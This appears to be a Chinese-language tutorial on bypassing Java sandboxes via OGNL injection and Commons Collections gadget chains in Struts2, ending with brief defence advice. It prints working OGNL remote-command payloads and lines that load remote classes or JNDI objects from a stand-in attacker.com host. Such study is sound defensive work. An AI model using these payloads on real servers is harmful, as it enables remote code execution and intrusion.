ognl+cc 依赖绕过沙箱
字数 1264 2025-08-20 18:17:02
OGNL + Commons Collections 依赖绕过沙箱技术分析
前言
本文详细分析如何结合OGNL表达式和Commons Collections(CC)依赖来绕过Java沙箱限制的技术。这种技术在Struts2等框架的漏洞利用中尤为重要。
基础知识
OGNL (Object-Graph Navigation Language)
OGNL是一种强大的表达式语言,用于访问和操作Java对象图。在漏洞利用中,OGNL常被用来执行任意代码。
Commons Collections (CC)
Apache Commons Collections是一个提供了许多增强Java集合功能的库。其中一些类(如Transformer接口的实现)可以被用来构造恶意对象链。
沙箱绕过技术
1. 基本思路
当目标环境存在以下条件时,可以构造绕过:
- 存在OGNL表达式注入点
- 环境中存在Commons Collections库
- 存在某种沙箱或安全管理器限制
2. 关键类和方法
Transformer接口
public interface Transformer {
Object transform(Object input);
}
重要的实现类:
ConstantTransformer- 总是返回固定对象InvokerTransformer- 通过反射调用方法ChainedTransformer- 将多个Transformer串联执行
其他关键类
LazyMap- 延迟执行的Map实现TiedMapEntry- 将Map与键绑定的条目AnnotationInvocationHandler- JDK动态代理使用的内部类
3. 构造恶意对象链
典型的利用链构造过程:
- 创建
InvokerTransformer来调用危险方法(如Runtime.exec) - 使用
ChainedTransformer将多个Transformer串联 - 通过
LazyMap或TiedMapEntry触发执行 - 利用反序列化或OGNL表达式注入触发整个链条
4. 绕过沙箱限制的技术
技术1: 使用非标准类加载
当直接使用Runtime被禁止时,可以通过类加载器加载恶意类:
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://attacker.com/")}).loadClass("EvilClass").newInstance()
技术2: 反射绕过
通过反射获取被限制的类和方法:
java.lang.reflect.Method m = java.lang.Runtime.class.getMethod("exec", String.class);
m.invoke(java.lang.Runtime.getRuntime(), "calc.exe");
技术3: 使用JNDI注入
当存在JNDI查找功能时:
new javax.naming.InitialContext().lookup("ldap://attacker.com/Exploit")
技术4: 利用EL处理器
在某些环境中,可以通过EL处理器执行代码:
javax.el.ELProcessor elp = new javax.el.ELProcessor();
elp.eval("Runtime.getRuntime().exec('calc.exe')");
5. 结合OGNL的利用方式
在OGNL表达式中嵌入CC链:
#ognlUtil.setValue("@org.apache.commons.collections.functors.ConstantTransformer@new", context, null)
或者更复杂的链式调用:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec('calc.exe')
实际利用案例
案例1: 基本执行命令
#_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec("calc.exe")
案例2: 使用CC链绕过
#container=#context["com.opensymphony.xwork2.ActionContext.container"],\
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class),\
#ognlUtil.setExcludedClasses(""),\
#ognlUtil.setExcludedPackageNames(""),\
#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS),\
@java.lang.Runtime@getRuntime().exec("calc.exe")
案例3: 复杂绕过技术
#res=@org.apache.struts2.ServletActionContext@getResponse(),\
#res.setCharacterEncoding("UTF-8"),\
#w=#res.getWriter(),\
#w.print("hacked"),\
#w.print(#parameters.cmd[0]),\
#w.print(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0])),\
#w.close()
防御措施
- 升级Struts2到最新版本
- 限制OGNL表达式的执行能力
- 移除不必要的Commons Collections库
- 实施严格的安全管理器策略
- 对用户输入进行严格过滤
- 使用最新的Java版本(修复了反序列化漏洞)
总结
通过结合OGNL表达式的强大功能和Commons Collections库的可利用链,攻击者可以在受限环境中实现代码执行。理解这些技术的原理对于构建有效的防御措施至关重要。